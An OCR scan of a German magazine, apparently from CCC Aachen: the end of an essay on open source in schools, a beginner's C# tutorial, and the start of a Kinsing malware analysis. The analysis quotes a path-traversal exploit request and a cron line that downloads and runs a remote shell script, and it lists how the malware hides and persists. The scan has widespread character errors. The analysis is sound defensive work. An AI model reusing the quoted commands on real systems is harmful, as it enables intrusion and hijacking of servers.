werden. Es ist deshalb problematisch, wenn
Schiiler*innen beim Betreten des virtuellen
Klassenzimmers oder der schulischen Nutzung
von Software dauernd mit dem Logo eines Her-
stellers konfrontiert werden. Ebenso proble-
matisch ist die Nutzung proprietirer Software
in der Schule, bei der die Schiiler*innen Gefahr
laufen, durch den ,Lock-in-Effekt“ im golde-
nen Kifig eines bestimmten Okosystems von
Betriebssystem, Anwendungen und Geréten
eingesperrt zu werden.

Allgemeinbildende Schulen haben auch
nicht die Aufgabe, Zertifikate fiir die Nutzung
bestimmter Anwendungsprogramme oder Ge-
rite bestimmter Hersteller zu vergeben. Schu-
le muss Schiiler*innen im Sinne kompentenz-
orientierten Unterrichts vielmehr erméchti-
gen, selbst zu wihlen und zu entscheiden,
welche Gerite, Betriebssysteme und Anwen-
dungsprogramme sie nutzen mochten. Das
geht am besten, wenn in der Schule offe-
ne Betriebssysteme (Linux), Open Source-
Anwendungsprogramme und offene Dateifor-
mate verwendet werden.

Staatliche Open-Source-
Bildungsplattform

Eine auf Open-Source-Software basierende,
staatlich betriebene Bildungsplattform scheint
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am ehesten geeignet Datenschutz, digitale Sou-
veranitat und schulische Medien- und Verbrau-
cherbildung zu erméglichen. Open-Source-
Software hat den Vorteil, dass sie dauerhaft
und kostenlos verfugbar ist (digitale Souve-
ranitét), transparent auf Datenschutzkonfor-
mitat und Sicherheit untersucht werden kann
(Datenschutz) sowie werbefrei ist und offene
Dateiformate verwendet (Verbraucher- und
Medienbildung).

Nur wenn der Staat beziehungsweise das
Land die digitale Bildungsplattform selbst be-
treibt und deshalb auch selbst fachkundiges
Personal vorhalt, kann der Staat souveran und
dauerhaft Giber diese systemrelevante Infra-
struktur verfiigen und den Datenschutz zen-
tral sicherstellen.

Das baden-wiirttembergische Aktionsbiind-
nis ,Unsere digitale Schule® hat ein entspre-
chendes Konzept fiir eine wertebasierte digi-
tale Bildungsplattform skizziert. [39]

Linuxbasiert, modular, reparier-
bar

In ein solches wertebasiertes schulisches
Digitalisierungskonzept wiirden am besten
Linux-basierte oder Google-befreite Android-
basierte digitale Endgerate passen, weil sie be-
ziiglich des Betriebssystems werbefrei wiren
und den Datenschutz besser als proprietire Be-
triebssysteme gewahrleisten wiirden. Linux-
Nutzung wiirde auch dem Ziel der digitalen
Souveranitit dienen, weil Open Source (im
Sinne von Freier Software) kostenlos und dau-
erhaft verfugbar ist.

Die Gerite sollten modular aufgebaut, ro-
bust und langlebig sein, damit Ressourcen ge-
schont und Elektroschrott vermieden wird.

Wenn es darum gehen soll, im Sinne be-
sagter Medienbildung Anwendungssoftware
nicht nur durch Wischen und Klicken zu be-

dienen, sondern zu verstehen, wie Program-
me und Anwendungen funktionieren und pro-
grammiert werden, ist ein Endgerat mit Tasta-
tur notwendig. Das digitale Hauptarbeitsgerit
der Schiiler*innen sollte also kein Tablet oder
gar Smartphone sein, sondern ein entsprechen-
des Notebook oder ein Convertible (Tablet-PC
mit Tastatur).

Es geht doch

Dass es moglich ist ein Konzept fir Schulgera-
te nach diesen Mafistaben umzusetzen hat das
Georg-Biichner-Gymnasium Seelze nahe Han-
nover [40] anhand von Geriten fiir Lehrkrifte.
Die Gerate werden von der Schule beschafft,
mit Linux bespielt und an Lehrkrafte ausgege-
ben.

Das Quenstedt-Gymnasium in Mdssingen,
Baden-Wiirttemberg, hat sich ein ,Medienkon-
zept“ gegeben, das ,digitale Souveranitat® be-
inhaltet, umfassend auf Open Source-Software
setzt und die Nachteile von BYOD ausgleichen
soll. [41]

Das ist ein guter Start, aber es bleibt noch
viel zu tun.

Keine Privatgerate im Schul-
MDM

Daher schliefit dieser Artikel mit dem Aufruf
an alle Landesregierungen, Kultusministerien,
die Kultusministerkonferenz und das Bundes-
bildungministerium, aber auch an Schultré-
ger und Schulleitungen sowie Lehrkréfte, sich
beim Thema ,Digitalisierung im Schulbereich®
konsequent an den Prinzipien Datenschutz,
Digitale Souveranitit und einer Medien- und
Verbraucherbildung zu orientieren, die an der
Erziehung zur*zum miindigen Biirger*in orien-
tiert ist. Wenn schulische Digitalisierung sich
an diesen Leitprinzipien ausrichtet, kann sie
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Unterricht und Lernprozesse bereichern, oh-
ne Personlichkeitsrechte der Lernenden und
Lehrenden zu gefahrden.

Im Falle von Geriten wie Tablets, Converti-
bles oder Notebooks heif3t dieser Appell kon-
kret, dass die Gerédte von Schulen gekauft und
nur fir den Zweck der Lehre an Schiiler*in-
nen und Lehrkrifte ausgegeben werden sollen.
Privatgerate oder von Eltern bezahlte Geréte
haben nichts im MDM der Schule zu suchen.

Dies untermauert auch die Entscheidung
des LDI NRW vom 31.10.2022, in dem das LDI
nur schulischen Geriten eine datenschhutz-
konforme Anwendung bescheinigt. Hingegen
,sieht die LDI NRW den Einsatz privater End-
gerite nicht nur bei Lehrkriften, sondern auch
bei Schiiler*innen generell kritisch. ... Daher
kann der Einsatz privater Endgerdte — auch
im Interesse der Schulen, die fir die Wahr-
nehmung ihres Bildungsauftrags auf digita-
le Losungen setzen — nur iibergangsweise in
Betracht kommen. ... Um die hiermit verbun-
denen rechtlichen Unsicherheiten zu vermei-
den, empfehlen wir Thnen, alle Schiiler*innen
moglichst kurzfristig mit schulischen Endge-
raten auszustatten und damit die dauerhafte
Gewihrleistung von Datenschutz und —sicher-
heit zu erméoglichen”
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Hello World in C#

Ein Start in die Programmierung
auf Microsoft Windows

von Manfred Laidler <manfred.laidler@web.de>

In diesem Tutorial méchte ich euch das Programmieren unter Windows 10 etwas niher bringen.
Dazu sollt ihr die Programmiersprache C# fiir Microsofts .NET-Framework sowie die dafiir
notwendigen Werkzeuge kennenlernen. Dies werde ich euch anhand einer einfachen Konsolen-
Anwendung zeigen, denn eine Windows-Applikation mit vollstdndiger Benutzeroberfliche
und so weiter wire fiir den Anfang viel zu kompliziert.

Was ist C#?

Sharp ist Englisch fir das Kreuz (#), das in der
Notenschrift die Ethéhung einer Note um ei-
nen Halbton anzeigt. So wie die Programmier-
sprache C++ das Doppelplus benutzt um eine
Fortsetzung (ein Inkrement) der Programmier-
sprache C anzuzeigen, soll das Doppelkreuz
im Namen C# eine Anspielung auf die Fortfith-
rung dieser Folge sein.

C# ist eine objektorientierte Allzweck-
Programmiersprache, die 2001 zusammen von
Hewlett-Packard und Intel unter der Federfiih-
rung von Microsoft entwickelt wurde. Urps-
riinglich hauptséchlich fir Windows entwi-
ckelt, ist es inzwischen auch méglich Anwen-
dungen fiir macOS, i0S und Android-Geréte
zu entwickeln, und auch fiir GNU/Linux gibt
es offizielle NET-Unterstiitzung. .NET heifjt
ein von Microsoft bereitgestelltes Framework,
das diverse Werkzeuge und Techniken zusam-
menfasst. Wichtig ist zunéchst ersteinmal nur
zu wissen, dass in mehreren Programmierspra-
chen fiir das NET-Framework programmiert
werden kann, und C# eine davon ist.

Begrifflichkeiten und Prinzipien

Wie entstehen Programme eigentlich? In den
meisten Fillen beginnt ein Programm mit
dem Schreiben einer einfachen Textdatei, die
der Einfachheit halber eine Dateiendung be-
kommt, die auf die verwendete Programmier-
sprache schlieffen lasst. In diese Textdatei wer-
den wir gleich Anweisungen schreiben, die
beschreiben, was das Programm tun soll. Dies
ist dann der sogenannte Quellcode des Pro-
gramms.

Haben wir alle gewiinschten Anweisungen
festgehalten, ist dies fiir den Computer aber
immer noch eine einfache Textdatei. Damit die-
ser unsere Anweisungen auch versteht, miss-
ten diese irgendwie tibersetzt werden. Das ist
auch genau das, was wir tun werden. Aller-
dings miissen wir das nicht selbst machen.
Die meisten Programmiersprachen bringen
ein Werkzeug mit, das dies fiir uns erledigen
kann: den Compiler. Das Wort kommt von dem
lateinischen Wort compilare und bedeutet so-
viel wie ,aufhdufen® oder ,zusammentragen®.

In Windows-Betriebssystemen ist C# bereits
enthalten, und so ist auch der Compiler schon
vorhanden und muss nicht noch von uns nach-
installiert werden.
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Unser ,Hello World!“-Quellcode
und was er bedeutet

Mit diesem Wissen kénnen wir nun anfangen
ein ,Hello World!“-Programm zu schreiben.
Dafiir kénnt ihr einfach das von Windows
mitgebrachte Notepad verwenden. Der uni-
versellste Weg dieses zu offnen ist mit dem
Ausfithren-Dialog. Driickt einfach die Tasten
(#]+(R] zusammen, und der Dialog sollte sich
Offnen. Gebt dort nun einfach notepad ein,
und mit einem Klick auf ,OK* 6ffnet sich schon
der Editor.

7 Typethe name of a program, folder, document or Internet
< resource, and Windows will open it for you.

Open: | notepad| v |

Der Ausfithren-Dialog

Cancel Browse...

Dort konnt ihr nun die folgenden Anweisun-
gen eintippen. Was diese bedeuten besprechen
wir im Anschluss.

using System;

class Test
{
public static int Main(string[] args)
{
Console.WriteLine("Hello World!");
Console.WriteLine("Press any key to
< continue...");
Console.ReadKey(true);

return 0;

Ce=

Der Quellcode besteht aus mehreren An-
weisungen oder ,Ausdriicken®, welche jeweils
mit einem Semikolon beendet werden. Die-
se Syntax ist in vielen Programmiersprachen
verbreitet. Die geschweiften Klammern fassen
mehrere Ausdriicke in einen Block zusammen,
wie hier zum Beispiel den Inhalt einer Klasse
und den der Main-Methode. Um besser erken-
nen zu konnen welcher Ausdruck zu welchem
Block gehort, hat es sich eingebiirgert, den
Text pro Block-Ebene mit einem einzuri-
cken.

Da C# eine objektorienterte Programmier-
sprache ist, wir aller Code in sogenannten
Klassen organisiert. Oben haben wir diese
Klasse Test genannt, fiir dieses Beispiel ist
der Name jedoch nicht wichtig. Dort befindet
sich dann eine Funktion, bzw eine Methode.
Diese sind normalerweise dazu da um zum
Beispiel mehrschrittige Aufgaben zusammen-
zufassen, in diesem Fall hat sie jedoch eine be-
sondere Funktion. Damit der Computer weif3,
an welcher Stelle im Code er anfangen soll
die Anweisungen auszufiihren, hat sich die
Konvention etabliert eine spezielle Methode
namens Main zu benutzen. Diese muss immer
so heiflen. Auflerdem muss diese 6ffentlich zu-
greifbar (public) und statisch (static) sein.
Statisch heifit in diesem Fall dass sie immer
ausgefiithrt werden kann, auch ohne eine In-
stanz der Klasse zu erstellen. Dies ist allerdings
ein weiterfithrendes Konzept, das uns hierfiir
erstmal nicht interessieren soll.

Auflerdem ist es iiblich fiir Kommandozei-
lenanwendungen wie unsere einen Zahlen-
wert (int) zuriickzugeben. Die Riickgabe des
Wertes 0 sagt dabei aus, dass es keine Feh-
ler bei der Ausfithrung gab, und alle anderen
Zahlen dienen quasi als Fehlercodes. In den
Klammern hinter dem Funktionsnamen steht
noch, dass die Funktion eine Sammlung ([])
von Zeichenketten (string) erhalten soll, die
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dem Programm als Argumente (args) tiber-
geben werden. Dies ist aber auch in unserem
Beispiel nicht wichtig.

Wir haben also diese spezielle Funktion, die
zu Beginn des Programms aufgerufen wird. In
den geschweiften Klammern wird nun in ei-
nem Block zusammengefasst, was diese tun
soll, wenn sie aufgerufen wird.

Console.WriteLine ist eine Funktion, die
eine Zeichenkette auf die Kommandozeile
(Console) schreiben soll. Da diese Funktion
bei C# dem Bereich System zugeordnet wird,
miissen wir dem Programm noch sagen, dass
wir diesen benutzen wollen (using). Ansons-
ten kann der Computer die Anweisung nicht
finden. Ein string wird in den meisten Pro-
grammiersprachen zwischen zwei doppelten
Anfithrungszeichen deklariert, in diesem Bei-
spiel ,Hello World!“. Dazwischen kénnt ihr
auch beliebig andere Nachrichten angeben,
nur bei doppelten Anfithrungszeichen selbst
und ein paar anderen Sonderzeichen wird es
kompliziert.

Version

Die API von Microsoft mit Beispielen der Klasse Console

Die Funktion Console.ReadKey wartet dar-
auf, bis der Benutzer eine beliebige Taste
driickt. Dies ist fiir dieses Beispiel wichtig,
wenn ihr zum Beispiel das Programm nicht
iiber die Kommandozeile sondern via Doppel-
klick aus dem Explorer startet. Da dieses Pro-
gramm nach der Textausgabe sonst beendet
wire wiirde das Fenster direkt wieder geschlos-
sen werden, sodass die Ausgabe direkt wieder
verschwindet. Das warten auf einen Tasten-
druck hailt dieses Fenster offen, bis eine Tas-
teneingabe erfolgt.

Zu guter Letzt teilen wir nun noch mit, dass
es bei der Ausfithrung des Programms kei-
ne Fehler gab, und beenden das Programm
(return).

Weitere Angaben zu den von .NET bereitge-
stellten Klassen gibt es auf der Website von Mi-
crosoft. [4]. Die dokumentierten Klassen sind
itber ihren Namespace — wie Console iiber
System — auffindbar.

— Console
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Kompilieren und Ausfiihren des
Programms

Damit die Datei tibersetzt werden kann miisst
ihr sie zuerst speichern. Wahlt am besten ei-
nen Ort im ,Eigene Dateien“-Ordner, den ihr
schnell wiederfinden konnt. Als Dateiname
gebt bitte einen Namen mit der Dateiendung
.cs ein, zum Beispiel helloworld.cs.

Microsoft Windows [Version 18.8.
(c) Microsoft Corporation. Alle

C:\Users\Manfred>

2y

Um den C#-Compiler von Windows zu be-
nutzen ist es am einfachsten die Kommando-
zeile zu benutzen. Keine Angst, das hort sich
schwieriger an als es in Wirklichkeit ist.

Benutzt am Besten wieder den ,,Ausfithren®-
Dialog, den ihr mit der Tastenkombination
(#]+(R] 6ffnen konnt. Statt notepad gebt dies-
mal aber cmd ein und bestitigt mit ,OK". Nun
sollte sich die Kommandozeilenaufforderung
geoffnet haben.

19844 .1645]
Rechte vorbehalten.

Das Terminal-Fenster von cmd.exe

Der Compiler liegt an einem Ort in dem
Windows-Installationsordner, und zwar um
genau zu sein:

%WINDIR%\Microsoft.NET\Framework\v4.0.30319\

< Csc.exe

Um den Compiler auszufiithren reicht es,
den Pfad und den Dateinamen einzutippen und
mit der Eingabetaste zu bestétigen. Tippt al-
so den obigen Pfad ein und probiert es selbst
einmal aus.

Der Compiler miisste sich direkt iber zwei
Dinge beschweren. Zuerst warnt er, dass die
Compilerversion schon ziemlich alt ist, und
neuere Versionen der C#-Sprache nicht mehr
unterstiitzt. Dies konnt ihr fiir dieses Beispiel
aber getrost ignorieren. Das zweite ist viel in-
teressanter, denn er beschwert sich, dass keine
Quelldateien angegeben wurden.

Dafiir ist es am einfachsten, mit der Kom-
mandozeile in den Ordner zu navigieren, in

dem ihr die Quelldatei gespeichert habt. Wenn
ihr einen Unterordner von ,Eigene Dateien®
gewihlt hab, konnt ihr mit dem Befehl cd
Pfad

zZur

Datei dorthin navigieren. Wenn ihr euch da-
bei vertut, benutzt cd .. um wieder einen
Ordner aufwirts zu gehen.

Wenn ihr ihm richtigen Verzeichnis ange-
kommen seid, benutzt denselben Compiler-
Befehl wie zuvor, nur gebt diesmal noch den
Dateinamen als Parameter an. Das heif3t hier
einfach, dass ihr nach dem Pfad noch ein Leer-
zeichen und euren Dateinamen eintippt, etwa
so:

%WINDIR%\Microsoft.NET\Framework\v4.0.30319\
- csc.exe

- hello.cs

Nun sollte der Compiler eine Erfolgsmel-
dung anzeigen.

%ﬁ 0x4c
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Aufruf des Compilers mit der Datei hello.cs im Terminal-Fenster

Wenn ihr euch jetzt mit dem Befehl d-ir den
Inhalt des Verzeichnisses anzeigen lasst konnt
ihr feststellen, dass der Compiler nun eine
Datei namens hello.exe erzeugt hat. exe
kommt dabei vom Englischen Wort ,execu-
table®, was soviel wie ,ausfithrbar” bedeutet.
Dies ist die Ubersetzung eurer Textanweisun-
gen in Computersprache — ein Programm, das
der Computer nun ausfithren kann.

Um dieses Programm auszufithren muss
wieder der Name des Programms eingetippt
werden. Da ihr schon im richtigen Verzeichnis
seid konnt ihr den Pfad vorher jedoch einfach
weglassen und stattdessen einfach folgendes
eintippen:

hello.exe

Nun konnt ihr sehen, dass auf der Komman-
dozeile eure Nachricht ausgegeben wird.

rld!

key to continue . . .

Die Ausgabe des Programms hello.exe im
Konsolenfenster

Benutzen von VSCodium

Der stindige Wechsel zwischen Text-Editor
und Eingabeaufforderung ist etwas unkomfor-

tabel. Aus diesem Grund ist es tiblich fiir kom-
plexere Projekte eine sog. IDE (,Integrated De-
velopment Environment®) zu verwenden, also
eine ,integrierte Entwicklungsumgebung®, die
uns viele Aufgaben abnimmt oder erleichtert.

Microsoft bietet dazu eine offizielle Software
namens Visual Studio an. Diese ist jedoch pro-
prietér, deswegen wollen wir eine Alternative
dazu benutzen.

Visual Studio Code, oder kurz VSCode, ist
ein alternativer Quellcode-Editor von Micro-
soft, der auf den Plattformen Windows, Li-
nux und MacOS funktioniert. Zusammen mit
ein paar Erweiterungen bietet er eine IDE-
ahnliche Umgebung zum Programmieren mit
C# an. Die offiziellen Versionen des Editors be-
inhalten jedoch auch wieder proprietiare und
vor allem datensammelnde Funktionen von
Microsoft. Deswegen gibt es ein Community-
Projekt namens VSCodium, welches nur den
MIT-lizensierten Open-Source-Anteil der Soft-
ware ohne zusétzlichen Microsoft-Code zum
Download anbietet. [5]

Es sei jedoch erwahnt dass selbst die C#-
Erweiterung fiir VSCode und VSCodium Da-
ten an Microsoft sendet. Da scheint es kein
Umher zu geben, wenn man in Microsofts Pro-
grammiersprache entwickeln mochte.
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PVSCodium-win32-x64-1.72.0.22279.21p.shaZ56

€«

fAvaeradinm.vRA.1 72 0 22270 mei chal

PVSCodium-x64-1.72.0.22279.msi

Installer-Download fiir VSCodium

VSCodium kann tiber die Release-Seite auf
Github heruntergeladen werden. [6] Navigiert
dazu zum aktuellsten Release und klickt auf
,Show all assets®. Findet darin die Datei die
mit ,VSCodium-x64-“ beginnt und mit ,,.msi“
aufhort — dies ist der Installer, den wir brau-
chen. Nachdem ihr die Datei heruntergeladen
habt, startet sie mit einem Doppelklick und
installiert die Software.

Please read the VSCodium 1.72.2.22289 (x86) License
Agreement

MIT License ~

Copyright (c) 2818-present The V5Codium contributors
Copyright (c) 2018-present Peter Squicciarini
Copyright (c) 2815-present Microseft Corporation

Permission is hereby granted, free of charge, to any
person obtaining a copy of this software and
assnriated dnrimentatinn £iles fthe "Snfrwara™)  +n

w

EAt accept the terms in the License: Agreement

Chck Insstall to install the product with default options for ol users. Chck Advanced to
change instalation options.

Print. Advarced ®:mul Cancel

Windows-Installer fiir VSCodium

Nachdem die Installation abgeschlossen ist,
konnt ihr das VSCodium starten. Es wird euch
mit einem Dialog zu ein paar grundsétzlichen
Einstellungen zur Ersteinrichtung fragen, wie
zum Beispiel das Farbschema das ihr benut-
zen wollt und dhnliches. Nehmt euch ruhig
die Zeit das Tool nach euren Bediirfnissen ein-
zurichten, wenn ihr wollt. Thr konnt den Teil
aber auch tiberspringen, wenn ihr direkt los-
programmieren wollt.

Ce=

Bevor es allerdings losgehen kann, miissen
wir noch die bereits erwihnte C#-Erweiterung
installieren. Klickt dazu links auf das , Exten-
sions“-Icon und gebt C# in das Suchfeld ein.
Installiert dann die Erweiterung mit folgender
Beschreibung:

Cit w2

o 3TSET | sk ok k (2

°
Beschreibung der C#-Extension in VSCodium

Nun 6ffnet das Menii ,Datei —Ordner Off-
nen“ und legt in dem erscheinenden Dialog
einen neuen Ordner an, in dem Ihr eure An-
wendung programmieren wollt. Wahlt diesen
dann zum Offnen aus. Nun kénnt ihr links im
LExplorer” den leeren Ordner sehen, den ihr
soeben angelegt habt. Nun miissen noch die
Projektdateien erzeugt werden. Offnet dazu
iiber ,Ansicht —Terminal® eine Kommando-
zeile. Dies ist im Prinzip eine Kommandozeile,
wie wir sie im vorigen Beispiel verwendet ha-
ben, nur ist sie in den Editor integriert.

Hier tippt nun bitte folgendes Kommando
ein:

PS C:\Users\Manfred\helloworld> dotnet new
- console
[...]
Getting ready...
The template "Console Application" was created

- successfully.

Processing post-creation actions...
Running 'dotnet restore' on on C:\Users\
< Manfred\helloworld\helloworld.csproj...
Determining projects to restore...
Restored C:\Users\Manfred\helloworld\
< helloworld.csproj (in

< 64ms).

%@ 0X4E
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Was ist C#?

Ce=

Restore succeeded.

[...]

Dieser Befehl erzeugt eine neue .NET-
Konsolenanwendung im aktuellen Verzeich-
nis. Thr misstet nun im Explorer die neuen
Dateien sehen konnen, die zu dem Programm
erzeugt wurden.

~+ HELLOWORLD
> obj

a helloworld

C* Program.cs
,Hello World!“ Projektordner in VSCodium

LProgramm.cs” ist dabei die eigentliche C#-
Quellcodedatei, die ihr nun editieren kénnt.
Die .csproj-Datei enthalt Informationen
iiber das Projekt fiir das VSCodium, die fiir uns
erstmal nicht wichtig sind. Im obj-Verzeichnis
legt der Editor temporére und generierte Da-
teien ab, die uns ebenfalls nicht interessieren
sollen.

Die von VSCodium-Angelegte Quellcode-
datei enthilt bereits ein ,Hello World“-
Programm, das ihr nun editieren oder ergin-
zen konnt.

Seit ihr mit eurem Programm gliicklich, oder
wollt ausprobieren ob es funktioniert, wech-
selt wieder zuriick in das Terminalfenster und
gebt folgenden Befehl ein:

PS C:\Users\Manfred\helloworld> dotnet run
Hello World!
PS C:\Users\Manfred\helloworld>

Dies kompiliert das Projekt in einen bin-
Ordner, der jetzt neu erschienen sein miisste,

und fithrt es danach aus. Wenn alles richtig ist,
konnt ihr nun eure Textausgabe im Terminal-
fenster sehen.

Damit habt ihr nun ersteinmal alles, was
ihr braucht, um mit diesem und weiteren Pro-
grammen herumexperimentieren zu konnen.

Ubungsaufgaben

Mit der Ein- und Ausgabe auf der Kommando-
zeile konnt ihr schon ziemlich viel Anstellen.
Hier habt ihr ein paar Vorschldge, mit welchen
Problemstellungen ihr weiterexperimentieren
konnt:
« Schreibe
Uberpriifer
« Gib sechs zufillige, unterschiedliche Lot-
tozahlen von 1 bis 49 aus
« Implementiere ein Galgenménnchen-Spiel

einen einfachen Passwort-

Es ist normal, dass ihr fiir die Bewéltigung die-
ser Aufgaben ein bisschen im Internet oder der
Dokumentation suchen miisst. Viel Spaf3 beim
Programmieren auf Windows!

Referenzen

[1] Wikipedia: ,,C#% https://de.wikipedia.org
/wiki/C-Sharp

[2] Microsoft: ,,C#-Dokumentation®, https://
docs.microsoft.com/de-de/dotnet/csharp/

[3] Wikipedia: ,,.Net-Framework®, https:
//de.wikipedia.org/wiki/.Net-Framework

[4] Microsoft: ,,.NET API-Browser*, https:
//docs.microsoft.com/de-de/dotnet/api/

[5] VSCodium: ,Projektwebseite®, https:
//vscodium.com/

[6] VSCodium: ,Releases® https://github.com
/VSCodium/vscodium/releases
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Kinsing — The Go RAT

von tanto <tanto@aachen.ccc.de>

Kinsing ist eine in der Programmiersprache Go programmierte Malware beziehungsweise ein
Kapertrojaner (,Remote Access Trojan“ kurz RAT), welcher ,in the wild®, also ,tatsachlich aktiv
im Internet® mit Minern eingesetzt wird. Der Chaos Computer Club Aachen hat sich mit einem
gehackten und infizierten Server beschaftigt und untersucht, wie Kinsing funktioniert.

Auf der Suche nach neuen Herausforderun- | Version
gen bekamen die Prokrastinationsexperten des | Dieser Artikel beschiftigt sich nur mit
CCCAC plétzlich einen Anruf. Eine Person | folgender Version der Datei ,kinsing™:
stellte ihre Serverprobleme vor: Ein Server | md5sum
mit vollem Arbeitsspeicher und nicht niher | 648effa354b3cbaad87b45f48d59¢616
beschriebener, hoher Prozessorlast. Kurzer- | sha256sum
hand wurden SSH-Zugang und sudo-Rechte | 6e25ad03103a1a972b78c642bac09060fa79c4
gewihrt. 60011dc5748cbb433cc459938b
Eine Untersuchung ergab, dass der Ser- | Die Analyse von Malware ist risikoreich und
ver mit einem veralteten Apache Webserver | kann dazu fithren, dass der Rechner unter
lief, der 6ffentlich bekannte Sicherheitsliicken | fremder Kontrolle endet und alle Daten bei-
hat. Der Server wurde erfolgreich iiber eine | spielsweise verschliisselt oder wegkopiert
Remote-Code-Execution-Liicke, fiir die es so- | werden.
gar sogar einen 6ffentlich verfiigbaren Proof | Aus diesem Grund bieten wir auch nicht
of Concept [1] gibt, angegriffen. Wir haben | den Download der untersuchten Datei an.
die Situation zu unseren Gunsten genutzt und | Wer sich aber mit der Analyse von Malware
uns mit der Malware beschéftigt. auskennt und bei VirusTotal einen Zugang
In diesem Artikel erkliren wir, wie die Mal- | hat, kann die Datei dort herunterladen. [2]
ware anfillige Server angreift, funktioniert
und persistent wird.
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Der erste Kontakt

Es wurde ein anfélliger LAMP-Server ange-
griffen. [3, 4]

Wir entdeckten diesen Output in der
Apache-Logdatei:

[<DATE>] [core:error] [pid 3030013] [client <IP

Invalid URI in request POST /cgi-bin/.%2e/.%2e/.

% Total % Received % Xferd Average Speed
Dload Upload
0 [} (0] [} 0 0 [¢]

Ce=

Das Akronym LAMP steht fiir die weit ver-
breitete Verbindung aus Linux, Apache Web-
server, MySQL- oder MariaDB-Datenbank
und PHP als Interpreter.

AND PORT>] AH00126:

%2e/.%2e/bin/sh HTTP/1.1

- error setting limit (Operation not permitted)

Offensichtlich wurde eine Datei herunterge-
laden und mit /bin/sh ausgefiihrt. Die Datei
haben wir nicht mehr finden kénnen, aber es
fallt auf, dass sofort nach dem Download eine
Fehlermeldung kommt, dass das ,,ulimit® we-
gen mangelnder Rechte nicht gesetzt werden
konnte. Scheinbar hat der Angriff also nicht
funktioniert. Anhand dieser und der folgen-
den Fehlermeldungen haben wir rekonstruiert,
was das Skript versucht hat. Wenn wir nicht
weiter wussten, haben wir im Internet recher-
chiert und Analysen von kinsing gelesen.

1. sh: 2: ulimit: error setting limit

< (Operation not permitted)

Es erhoht das Ulimit (Ressourcennutzung
und -Limitierung eines Linux-Benutzers),
2. rm: cannot remove '/var/log/syslog':

o Permission denied

16scht Logdateien, um schlechter entdeckt
werden zu kénnen,

Time Time Time Current
Total Spent Left Speed
O ——i--i-- —-i--io- —-io-io— Osh: 2: ulimit:
3. chattr: Permission denied while setting
< flags on /tmp/
chattr: Permission denied while setting
< flags on /var/tmp/
chattr: Permission denied while setting
- flags on /var/spool/cron
chattr: Permission denied while setting

< flags on /etc/crontab
verandert Attribute von Dateien,

4. 100 33164
o 0 --i--i-- --i--i-- --i--i-- 87503

100 33164 [0] 0 87735

ladt die Datei ,kinsing” in /tmp/, /var/t
mp/ oder /dev/shm herunter (je nachdem
wie $TMPDIR gesetzt ist) und verifiziert die
Checksumme der heruntergeladenen Da-
tei, [5]
5. userdel:

user 'akay' does not exist

userdel: user 'vfinder' does not exist

chattr: Permission denied while trying to

« stat /root/.ssh/
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chattr: Permission denied while trying to
o stat /root/.ssh/authorized_keys
(Not all processes could be identified,
- non-owned process info
will not be shown, you would have to be
<~ root to see it all.)
L...]
kill:
kill:
[...]

Got permission denied while trying to

(22): Operation not permitted
(3008381): No such process

- connect to the Docker daemon socket
- at unix:///var/run/docker.sock: Get
o "http://%2Fvar%2Frun%2Fdocker.sock/v
o 1.24/containers/json": dial unix
o /var/run/docker.sock: connect:

- permission denied

beendet verschiedene Prozesse und Kon-
kurrenzprogramme, zum Beispiel sshd, an-
dere Miner und Docker-Container,

6. sh:

sh: 568: cannot create /etc/selinux/config:

567: setenforce: not found

- Permission denied
Failed to stop apparmor.service:

o Interactive authentication required.
See system logs and 'systemctl status

< apparmor.service' for details.
Synchronizing state of apparmor.service

o with SysV service script with

o /lib/systemd/systemd-sysv-install.
Executing:

o /lib/systemd/systemd-sysv-install

< disable apparmor
Failed to reload daemon: Interactive

o authentication required.

deaktiviert SELinux, AppArmor und ker-
nel watchdog (mégliche Sicherheitspro-
gramme),

7. erstellt den folgenden Cron-Job:

* % % * * wget -q -0 - http://<IP>/ex.sh |
- sh > /dev/null 2>&1}

Miner

Ein ,Miner“ oder auf Deutsch ,Schiirfer”
verdient virtuelles Geld dafir, dass er Re-
chenleistung zur Verfiigung stellt. Rund um
die Uhr laufen weltweit Transaktionen ab,
bei denen mit Bitcoins oder anderen Kryp-
towdhrungen bezahlt wird. Alle diese Akti-
vitdten miissen zur spateren Nachvollzieh-
barkeit aufgezeichnet und verwaltet wer-
den. Alle in einem bestimmten Zeitraum
stattgefundenen Transaktionen werden in
einer Liste, dem Block, zusammengefasst.
Beim weit verbreiteten System ,Proof of
Work® wird der néchste giiltige Block da-
durch bestimmt, dass ein Miner eine rechen-
aufwandige Aufgabe als erstes 1ost. Als Be-
lohnung bekommt dieser Miner einen gewis-
sen Betrag der Kryptowéhrung zugeschrie-
ben. Da Rechenzeit Strom braucht und somit
Geld kostet, lohnt es sich Miner auf fremden
Rechnern auszufiihren.

An dieser Stelle l4uft Kinsing auf dem Server
und hat sich persistiert, das heift es hat dafiir
gesorgt, dass es auch einen Neustart tibersteht
indem es von Cron regelméflig re-installiert
wird.

Das folgende Flowchart zeigt den Ablauf
eines Angriffs mit Kinsing und die nachgeglie-
derten Arbeitsschritte.

25 0xs2
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I

anfalliger )
Server pe{;ﬂﬁﬁ;“z
(LAMP*)
kinsing
kdevtmpfsi (RAT)
(Miner)
xmr  crypto-pool. fr
pool.t@dls.ru
Miner & C&cC
Prozess- Web Crawl Sg}%ﬁ? o
verwaltung Brute-Force
main.getMinerPid main.runTask main.socks
main.minerRunningCheck main.startSocks
main, isMinerRunning main.sendSocks

So lauft ein Angriff mit Kinsing ab. Anschlieflend startet Kinsing mehrere Prozesse um seinen
Angriffszweck zu erfillen.

Bevor wir mit der Rekonstruktion der Funk- System an. Die Tools in diesem Abschnitt las-
tionsweise von Kinsing anfingen, haben wir sen sich tiber die Paketmanager aller Linux-
uns die Datei mit ein paar Tools angeschaut Distributionen installieren, indem das Paket
um einen Uberblick zu bekommen. Jbinutils“ installiert wird.
Jfile“ ist ein Tool, das versucht den Dateityp

. . . zu bestimmen.
Inspektion der Binardatei
Weil Kinsing Linux-Systeme angreift schau-
en wir uns Kinsing auch auf einem Linux-

$ file ./kinsing
kinsing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked

Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIOHRKNINNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq _e_v,
o stripped

B
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Hier wird aufgezeigt, dass es sich um eine sta-
tisch gelinkte Go-Binérdatei handelt. Binarda-
teien haben einen Header, der anzeigt was in

ihnen zu finden ist. ,objdump -x“ gibt diese
Header aus.

$ objdump -x ./kinsing

Ce=

Sections:
4 .gosymtab 00000000 0000000001027fd8 0000000001027fd8 00c27fd8 2**0
